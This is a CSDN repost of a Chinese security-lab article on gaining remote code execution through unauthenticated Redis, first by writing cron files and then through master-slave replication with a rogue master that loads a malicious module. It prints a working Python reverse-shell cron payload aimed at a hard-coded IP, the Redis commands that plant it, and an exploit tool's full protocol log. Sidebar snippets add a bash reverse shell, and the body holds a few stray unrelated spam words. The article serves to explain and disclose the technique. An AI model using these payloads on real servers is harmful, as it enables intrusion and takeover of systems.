Redis 基于主从复制的 RCE 利用方式_systemino的博客-CSDN博客


本站和网页 https://blog.csdn.net/systemino/article/details/95913371 的作者无关,不对其内容负责。快照谨为网络故障时之索引,不代表被搜索网站的即时页面。

Redis 基于主从复制的 RCE 利用方式_systemino的博客-CSDN博客
Redis 基于主从复制的 RCE 利用方式
systemino
于 2019-07-14 19:14:49 发布
3681
收藏
作者:LoRexxar’@知道创宇404实验室
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。PHP大马
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
通过写入文件 GetShell
未授权的redis会导致GetShell,可以说已经是众所周知的了。
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似
[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
通过主从复制 GetShell
在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。奇热影视
这里我们开两台docker来做测试
ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3fdb2479af9c redis:5.0 "docker-entrypoint.s…" 22 hours ago Up 4 seconds 0.0.0.0:6380->6379/tcp epic_khorana
3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 23 hours ago Up 23 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin
然后通过slaveof可以设置主从状态
这样一来数据就会自动同步了
Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码
https://github.com/RicterZ/RedisModules-ExecuteCommand
利用原理
Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在ppt中提到,在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
复现过程
这里我们选择使用模拟的恶意服务端来作为主机,并模拟fullresync请求。
https://github.com/LoRexxar/redis-rogue-server
然后启用redis 5.0的docker
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 25 hours ago Up 25 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin
为了能够更清晰的看到效果,这里我们把从服务端执行完成后删除的部分暂时注释掉。
然后直接通过脚本来攻击服务端
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
然后我们链接上去就可以执行命令
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/975/
systemino
关注
关注
点赞
收藏
评论
Redis 基于主从复制的 RCE 利用方式
作者:LoRexxar’@知道创宇404实验室在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。PHP大马https://201...
复制链接
扫一扫
redis-rce:Redis RCE 的几种方法
04-15
redis-rce
Redis RCE 的几种方法
文章请参考
Redis主从复制以及主从复制技术原理.docx
10-14
Redis主从复制以及主从复制技术原理.docx
参与评论
您还未登录,请先
登录
后发表或查看评论
网鼎杯网络安全大赛玄武组_经典的一道CTF-WriteUP-SSRFME
oceanbase,xml上传漏洞
11-02
1187
刚完整复现一遍redis,然后重新打了一下这道题,SSRF+本地redis主从复制RCE组合拳拿shell
拿不到flag+反弹shell的惨案到此为止吧,跟我一步步拿shell,CTF-WriteUP-SSRFME
redis漏洞利用姿势原文https://www.sec-in.com/article/1309
一、环境说明,buuoj靶场,https://buuoj.cn/
攻击机kali-公网(普通的centos和ubuntu机子一样效果)
二、打靶机注意:现在buuoj的这台靶机已经可以出网了,有公
Redis-主从复制
shui2104的博客
09-27
98
Redis-主从复制
​为了避免单点Redis服务器故障,准备多台服务器,相互连通。将数据多个副本保存在不同的服务器上,连接在一起,并保证数据是同步的。即使其中某一台服务器宕机,其他服务器依然可以继续提供服务,实现Redis的高可用,同时实现数据冗余备份。
​主从复制即将master中的数据有效及时的复制到slave中。一个master可以对应多个slave,一个slave只能对应一个master。
master:复制写数据,执行写操作时,将出现变化的数据自动同步到slave。读数据的操作基本可忽略
redis主从复制_Redis 基于主从复制的 RCE 利用方式
weixin_39638057的博客
11-19
224
作者:LoRexxar'@知道创宇404实验室时间:2019年7月9日在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式[1],比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。1. 通过...
Redis进行RCE利用总结
最新发布
weixin_50464560的博客
11-07
273
百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。连接到redis,输入以下指令利用crontab反弹shell。Redis因配置不当可导致攻击者直接获取到服务器的权限。倘若服务器运行着LAMP/LNMP服务,且已知工作目录为。kali中打开一个新的命令行窗口执行。
Redis攻防(未授权访问、利用redis写入webshell、任务计划反弹、Shellssh-keygen 公钥登录服务器、利用主从复制RCE)
Love&Share
12-13
3563
文章目录未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCEwindowsSSRF安全设置
REmote DIctionary Server(Redis) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库
关于Redis可以看菜鸟教程:
https://www.runoob.com/redis/redis-tutorial.html
未授权访问
主要是因为配置不当,导致未授权访问漏洞,进一步将恶意数据写入内.
redis未授权漏洞和主从复制rce漏洞利用
weixin_30675967的博客
07-11
769
  未授权无需认证访问内部数据库。
利用计划任务反弹shell
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root...
Redis基于主从复制的RCE
m0_58596609的博客
10-13
1165
Redis基于主从复制的RCE
Redis的RCE漏洞
midi
02-13
1450
前言
做ssrf时碰到个redis的主从复制([网鼎杯 2020 玄武组]SSRFMe)
writeup
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file'])
RCE(远程代码执行漏洞)原理及漏洞利用
热门推荐
Ciyaso的博客
07-19
1万+
作用
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从
10步实现Redis主从复制(Redis)
weixin_48629371的博客
02-18
1140
一、Redis实现主从复制
概念(了解才能方便实操):
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
主从复制的作用主要包括:
数据冗余:主从复制实现了数据的热备份,是持久化之外的一种数据冗余方式。
故障恢复:当主节点出现问题时,可以由从节点提供服务,实现快速的故障恢复;实际上是一种服务的冗余。
负载均衡:在主从复制的基础上,配合读写分离,可以由主节点提供写服务.
RCE利用和防护
路漫漫其修远兮,吾将上下而求索
03-29
523
RCE利用和防护
深度理解Redis——主从复制
weixin_48380416的博客
04-25
1077
1.Redis复制原理:
从节点执行slaveof命令之后,保存主节点的信息直接返回,此时复制流程还未开始建立;
从节点内部通过每秒运行的定时任务维护复制相关逻辑, 当定时任务发现存在新的主节点后,会建立了一个端口为 24555的套接字,专门用于接受主节点发送的复制命令;
如果从节点无法建立连接,定时任务会无限重试直到连接成功或者执行 slaveof no one取消复制;
连接建立成功后从节点发送ping请求进行首次通信,检测主从之间网络套接字是否可用以及检测主节点当前是否可接受处理命令。
如果
Redis RCE 反弹shell 漏洞复现
06-07
610
1 Redis简介
Redis是一个开源的使用ANSI C语言编写、支持网络、科技与内存也可以持久化的日志型、Key-Value数据库,并提供多种语言的API
环境搭建
redis 主从复制 rce 和 题目复现
qq_41891666的博客
07-03
994
0x01 RESP 协议
redis 客户端和服务端之间采用RESP 协议来通信,RESP 协议全称 REdis Serialization Protocol
理解 Redis 的 RESP 协议
搞清RESP 协议,就可以看懂 redis-rogue-server.py 中是怎么构造协议的了,以及怎么把redis 客户端命令转化成 通信时的 数据了
0x02 主从复制 中的FULLRESYNC (全局同步):
贴一篇文章,讲到很详细:Redis 全量同步解析
也就是说master 回复 +FULLR
redis主从rce和redis5.0版本下rce的不同
五分之一世纪
08-08
383
文章目录(1)redis遵循的两种脚本协议【1】明文(plaintext)【2】序列化(custom)【3】分析(2)实现rce的方法【1】不持久的RCE【2】一般情况下的持久的RCE【3】5.0版本下持久的RCE
学习redis主从漏洞你一定要知道的知识点
(1)redis遵循的两种脚本协议
【1】明文(plaintext)
example: SET keyname value\n
【2】序列化(custom)
example: *3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5
Redis未授权访问利用RCE进行漏洞复现
三天不打上房揭瓦的博客
12-22
802
前言:小编也是现学现卖,方便自己记忆,写的不好的地方多多包涵,希望各位大佬多多批评指正。
目录漏洞概述影响版本环境搭建和漏洞复现1.环境启动2.下载使用RCE漏洞防御
漏洞概述
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis在默认情况下,会绑定6379这个端口,如果服务器没有采用限制IP访问或在防火墙做策略,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下(既然有密码也可进行爆破),会导
Redis 4.x RCE 原理及利用工具
Doub1's Blog
06-08
597
Redis 4.x RCE 原理引言Redis 协议redis config命令RCE 漏洞原理区别MODULE LOAD利用工具防御方法
引言
没事干写博客,我过会改个名字叫没事干水博客,炒冷饭,水博客是我的专业。
Redis 协议
Redis 在socket连接后,发送的命令事实上并没有加密,只是一种固定协议。
我们连接上redis后,比如发送了一条set key value命令.
socket中的数据事实上是这样的:
使用空格分隔文本
计算分隔后的数量,使用*n表示
遍历分隔后的每个子串
计算文本
Redis未授权最全利用方式
swordheart的博客
01-10
1254
0x00 利用计划任务反弹shell
靶机地址:192.168.230.142
kail地址:192.168.230.128
启动靶机redis docker环境
“相关推荐”对你有帮助么?
非常没帮助
没帮助
一般
有帮助
非常有帮助
提交
©️2022 CSDN
皮肤主题:大白
设计师:CSDN官方博客
返回首页
systemino
CSDN认证博客专家
CSDN认证企业博客
码龄4年
暂无认证
358
原创
10万+
周排名
116万+
总排名
89万+
访问
等级
1万+
积分
313
粉丝
238
获赞
77
评论
1254
收藏
私信
关注
热门文章
EDR 完全指南:关于 EDR 的那些事儿
47994
【干货】日志管理与分析(一)——日志收集及来源
16026
网红漏洞“致远OA系统上的GetShell漏洞”详解
12086
浅谈远控木马
11474
2019上半年勒索病毒专题报告
10761
最新评论
对波音787飞机持续运行51天会导致丢失飞行数据的研究
走趴趴:
相同架构处理器 相同的操作系统 这么设计真是天才 只要有一个有问题 全部多有问题 至少要异构才行
代码审计工具Fortify 17.10及Mac平台license版本
LPC373:
mac 版本打开就闪退呀,完全用不了
TP-Link Wi-Fi扩展器远程代码执行漏洞分析
ReStr0:
所以又是哪里转载来的,,转载链接也不放
ZeroLogon(CVE-2020-1472) 漏洞的攻击与防御策略(上)
懿葭:
有人可能抄袭了你的文章,我今天在写论文查找文献的时候看到过熟悉的灯,同讲0logon漏洞,一样的图。但当时在实验室中,绝对没有打开CSDN的可能。很抱歉没有记录网址,只能依稀记得网址图标是红的。
使用QBDI分析Android原生库
thouge_r:
图裂了,没有原文吗
您愿意向朋友推荐“博客详情页”吗?
强烈不推荐
不推荐
一般般
推荐
强烈推荐
提交
最新文章
内核漏洞利用之CVE-2020-17382篇(上)
Ragnar Locker勒索软件团伙在Facebook上刊登Campari黑客的广告
出现在网络上的SMTP漏洞
2020年224篇
2019年592篇
目录
目录
最新文章
内核漏洞利用之CVE-2020-17382篇(上)
Ragnar Locker勒索软件团伙在Facebook上刊登Campari黑客的广告
出现在网络上的SMTP漏洞
2020年224篇
2019年592篇
目录
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额
抵扣说明:
1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。 2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。
余额充值